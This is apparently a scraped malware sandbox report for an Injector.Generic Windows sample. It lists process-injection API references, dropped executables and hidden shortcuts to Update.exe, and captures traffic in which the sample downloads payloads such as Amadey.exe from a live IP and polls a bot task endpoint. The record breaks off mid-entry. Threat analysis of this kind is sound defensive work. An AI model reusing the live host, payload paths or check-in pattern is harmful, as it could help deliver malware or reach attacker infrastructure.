24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 84:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4d2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Injector.Generic Sample e78c9ae5665e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample e78c9ae5665e…. Malware family: Injector.Generic. Threat score 100/100. 10/27 AV engines flagged this file. 17 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93","keywords":["Malicious","Injector.Generic","malware analysis","sandbox report","threat intelligence","e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93"],"about":{"@type":"SoftwareApplication","name":"e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Injector.Generic","antivirusDetections":{"malicious":10,"total":27},"behavioralIndicators":{"malicious":17,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1002,file/memory contains long string(File: "_lzma.pyd") file/memory contains long string(File: "_bz2.pyd") Found string "ZSTD_c_compressionLevel" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "compression.zstd.ZstdError" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "Implementation module for Zstandard compression." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "Set CompressionParameter and DecompressionParameter types for validity check." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "DecompressionParameter IntEnum type object" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "dict_size, compression_level, /)" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "compression_level" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "Optimize for a specific Zstandard compression level, 0 means default." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "Get CompressionParameter/DecompressionParameter bounds." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "True for CompressionParameter, False for DecompressionParameter." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "Finish the compression process." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.48A47000.00000002.mdmp, 00000000-00001892.00000000.118722.48B1E000.00000002.mdmp") Found string "the compression process." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "The compression level to use. Defaults to COMPRESSION_LEVEL_DEFAULT." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6C990000.00000004.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "A dict object that contains advanced compression parameters." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6C990000.00000004.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "Thread-safe at method level. For one-shot compression, use the compress()" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6C990000.00000004.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "A dict object that contains advanced decompression parameters." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "Thread-safe at method level. For one-shot decompression, use the decompress()" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6CC90000.00000004.mdmp") Found string "The dictionary can be used for compression or decompression, and can be shared" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp, 00000000-00001892.00000000.118722.6C990000.00000004.mdmp") Found string "1. The advanced compression parameters of compressor will not be overridden." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "3. No need to use this for decompression." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "1. Some advanced compression parameters of compressor may be overridden" (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "2. ZstdDict has a digested dictionaries cache for each compression level." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp") Found string "compression level." (Source: "00000000-00001892.00000000.118722.33BEA000.00000002.mdmp")26:T61b,Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "00000000-00008040.00000000.119637.6E641000.00000020.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "00000000-00006652.00000000.120228.00413000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00006652.00000000.120228.00413000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "00000000-00006652.00000000.120228.00413000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001408.00000000.118508.2F317000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001408.00000000.118508.2F317000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001408.00000000.118508.2F317000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00001408.00000000.118508.2F317000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp, 00000000-00001892.00000000.118722.4F446000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001892.00000000.118722.4F446000.00000002.mdmp") Found reference to API "Tcl_CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001892.00000000.118722.6C3DE000.00000002.mdmp")27:T84f," handle" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "module. load_flags are as defined for LoadLibraryEx in the" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "FreeLibrary(handle) -> void" (Indicator: "FreeLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "Free the handle of an executable previously loaded by LoadLibrary." (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp, 00000000-00001892.00000000.118722.6C3B0000.00000004.mdmp, 00000000-00001892.00000000.118722.6C3DE000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp, 00000000-00001892.00000000.118722.56C54000.00000002.mdmp, 00000000-00001892.00000000.118722.6C3DE000.00000002.mdmp, 00000000-00001892.00000000.118722.6C990000.00000004.mdmp") Found reference to API "O&:FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp, 00000000-00001892.00000000.118722.56C54000.00000002.mdmp, 00000000-00001892.00000000.118722.6C3DE000.00000002.mdmp") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.56C54000.00000002.mdmp") Found reference to API "_LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.6C3B0000.00000004.mdmp") Found reference to API "LibraryLoader.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.6C3B0000.00000004.mdmp")2a:T5f8,file/memory contains long string with (Indicator: "SHA384"; File: "libffi-8.dll") file/memory contains long string with (Indicator: "HMAC"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA384"; File: "_hashlib.pyd") file/memory contains long string with (Indicator: "SHA512"; File: "_hashlib.pyd") Found reference to "HMAC_CTX_new" (Indicator: "HMAC"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "HMAC_Final" (Indicator: "HMAC"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "HMAC_CTX_free" (Indicator: "HMAC"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "HMAC_Update" (Indicator: "HMAC"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "SHA512_Transform" (Indicator: "SHA512"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "HMAC_size" (Indicator: "HMAC"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "SHA512_Init" (Indicator: "SHA512"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin") Found reference to "SHA384_Init" (Indicator: "SHA384"; File: "e78c9ae5665e07ae98e33f202737f135f1930d8e1b0dff868ba2a1aa48a41f93.bin")2b:T562," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close with response body ==>687474703A2F2F3139362E3235312E3130372E3130342F50726F67726573736976655F383132372E37352E343739325F494E5354414C4C2E657865....... "GET /bot_x64.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:45 GMT Content-Type: application/octet-stream Content-Length: 40960 Last-Modified: Fri 12 Jun 2026 16:18:50 GMT Connection: keep-alive ETag: "6a2c316a-a000" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ldr.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:20:59 GMT Content-Type: application/octet-stream Content-Length: 82944 Last-Modified: Tue 09 Jun 2026 16:31:46 GMT Connection: keep-alive ETag: "6a283ff2-14400" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /Progressive_8127.75.4792_INSTALL.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:55 GMT Content-Type: application/octet-stream Content-Length: 13584362 Last-Modified: Tue 09 Jun 2026 15:40:06 GMT Connection: keep-alive ETag: "6a2833d6-cf47ea" Accept-Ranges: bytes with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /geter/index.php?cmd=task&uid=btldr0C452EBD3E70F269A&status=task HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 196.251.107.104 Connection: Close" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close with response body ==>687474703A2F2F3139362E3235312E3130372E3130342F313078303678323032365F7836342E657865....... "GET /10x06x2026_x64.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:22:00 GMT Content-Type: application/octet-stream Content-Length: 784384 Last-Modified: Wed 10 Jun 2026 13:05:58 GMT Connection: keep-alive ETag: "6a296136-bf800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /sprd2.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:22:46 GMT Content-Type: application/octet-stream Content-Length: 174592 Last-Modified: Fri 12 Jun 2026 16:22:18 GMT Connection: keep-alive ETag: "6a2c323a-2aa00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /ldr.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:22:50 GMT Content-Type: application/octet-stream Content-Length: 82944 Last-Modified: Tue 09 Jun 2026 16:31:46 GMT Connection: keep-alive ETag: "6a283ff2-14400" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /Amadey.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:22:55 GMT Content-Type: application/octet-stream Content-Length: 528896 Last-Modified: Fri 05 Jun 2026 12:29:33 GMT Connection: keep-alive ETag: "6a22c12d-81200" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /10x06x2026_x64.exe HTTP/1.1 User-Agent: Mozilla/5.0 Host: 196.251.107.104 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri 12 Jun 2026 16:22:59 GMT Content-Type: application/octet-stream Content-Length: 784384 Last-Modified: Wed 10 Jun 2026 13:05:58 GMT Connection: keep-alive ETag: "6a296136-bf800" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000.......48:T675c," handle" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "module. load_flags are as defined for LoadLibraryEx in the" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "Free the handle of an executable previously loaded by LoadLibrary." (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp, 00000000-00001892.00000000.118722.6C3B0000.00000004.mdmp, 00000000-00001892.00000000.118722.6C3DE000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.48B44000.00000002.mdmp, 00000000-00001892.00000000.118722.56C54000.00000002.mdmp, 00000000-00001892.00000000.118722.6C3DE000.00000002.mdmp") Found reference to API "__vcrt_LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.56C54000.00000002.mdmp") Found reference to API "_LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.6C3B0000.00000004.mdmp") Found reference to API "LibraryLoader.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001892.00000000.118722.6C3B0000.00000004.mdmp")56:T5f3c,"python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\_MEI62362\python314.dll]- [targetUID: 00000000-00005004] "NuclearBomb_1_.exe" has type "Unknown"- [targetUID: N/A] "037zc8ha.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\037zc8ha.exe]- [targetUID: 00000000-00006236] "151r4o5f.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- [targetUID: N/A] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- [targetUID: 00000000-00006236] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- [targetUID: 00000000-00006236] "r10qhf9k.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\r10qhf9k.exe]- [targetUID: 00000000-00002748] "2_908333305.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "jusched.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%TEMP%\08e25196df\jusched.exe]- [targetUID: 00000000-00006132] "pvmv6xf5.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\pvmv6xf5.exe]- [targetUID: 00000000-00001408] "zax6yp7a.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\zax6yp7a.exe]- [targetUID: 00000000-00005796] "Update.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "VCRUNTIME140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI62362\VCRUNTIME140.dll]- [targetUID: 00000000-00005004] "jz1shsrg.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%TEMP%\jz1shsrg.exe]- [targetUID: 00000000-00007624] "bot_x64.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 5 sections"- Location: [%TEMP%\10000470101\bot_x64.exe]- [targetUID: 00000000-00006132] "_isdecmp.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\is-EUAHZ1HL3V.tmp\_isetup\_isdecmp.dll]- [targetUID: 00000000-00005756] "Links - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID 1777F761-68AD-4D8A-87BD-30B759FA33DD Hidden System ctime=Sat Jun 13 05:53:20 2026 atime=Sat Jun 13 05:53:20 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x015c Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Favorites\Links\Update.exe""- [targetUID: N/A] "Saved Pictures - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID 3B193882-D3AD-4EAB-965A-69829D1FB59F Hidden System ctime=Sat Jun 13 05:57:21 2026 atime=Sat Jun 13 05:57:21 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x014e Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Pictures\Saved Pictures\Update.exe""- [targetUID: N/A] "Camera Roll - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID AB5FB87B-7CE2-4F83-915D-550846C9537B Hidden System ctime=Sat Jun 13 05:57:20 2026 atime=Sat Jun 13 05:57:20 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x0148 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Pictures\Camera Roll\Update.exe""- [targetUID: N/A] ".mitmproxy - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:52:19 2026 atime=Sat Jun 13 05:52:19 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x0126 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\.mitmproxy\Update.exe""- [targetUID: N/A] "OneNote 2010 Guide - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:52:50 2026 atime=Sat Jun 13 05:52:50 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x018a Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Documents\OneNote Notebooks\OneNote 2010 Guide\Update.exe""- [targetUID: N/A] "My Notebook - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:52:50 2026 atime=Sat Jun 13 05:52:50 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x017c Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Documents\OneNote Notebooks\My Notebook\Update.exe""- [targetUID: N/A] "Favorites - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID 1777F761-68AD-4D8A-87BD-30B759FA33DD Hidden System ctime=Sat Jun 13 05:53:20 2026 atime=Sat Jun 13 05:53:20 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00bc Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Favorites\Update.exe""- [targetUID: N/A] "Saved Games - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID 4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4 Hidden System ctime=Sat Jun 13 05:57:21 2026 atime=Sat Jun 13 05:57:21 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00bc Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Saved Games\Update.exe""- [targetUID: N/A] "3D Objects - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:52:19 2026 atime=Sat Jun 13 05:52:19 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00bc Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\3D Objects\Update.exe""- [targetUID: N/A] "Searches - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:57:22 2026 atime=Sat Jun 13 05:57:22 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00bc Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Searches\Update.exe""- [targetUID: N/A] "Contacts - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID 56784854-C6CB-462B-8169-88E350ACB882 Hidden System ctime=Sat Jun 13 05:52:19 2026 atime=Sat Jun 13 05:52:19 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00bc Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Contacts\Update.exe""- [targetUID: N/A] "Links - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:53:20 2026 atime=Sat Jun 13 05:53:20 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00bc Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Links\Update.exe""- [targetUID: N/A] "Downloads.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Hidden System ctime=Sat Jun 13 05:51:48 2026 atime=Sat Jun 13 05:51:48 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00c8 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\Update.exe""- [targetUID: N/A] "OneNote Notebooks - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:52:50 2026 atime=Sat Jun 13 05:52:50 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x011c Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Documents\OneNote Notebooks\Update.exe""- [targetUID: N/A] "Outlook Files - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:53:20 2026 atime=Sat Jun 13 05:53:20 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x0114 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Documents\Outlook Files\Update.exe""- [targetUID: N/A] "Downloads - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:53:20 2026 atime=Sat Jun 13 05:53:20 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00b0 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Downloads\Update.exe""- [targetUID: N/A] "Documents - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:52:49 2026 atime=Sat Jun 13 05:52:49 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00b0 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Documents\Update.exe""- [targetUID: N/A] "Pictures - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:56:50 2026 atime=Sat Jun 13 05:56:50 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00b0 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath "C:\Users\HAPUBWS\Pictures\Update.exe""- [targetUID: N/A] "Desktop - Files.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Icon number=3 Unicoded MachineID desktop-fvvf82a Hidden System ctime=Sat Jun 13 05:52:49 2026 atime=Sat Jun 13 05:52:49 2026 mtime=Sat Jun 13 04:24:39 2026 length=174592 window=normal IDListSize 0x00b0 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" LocalBasePath 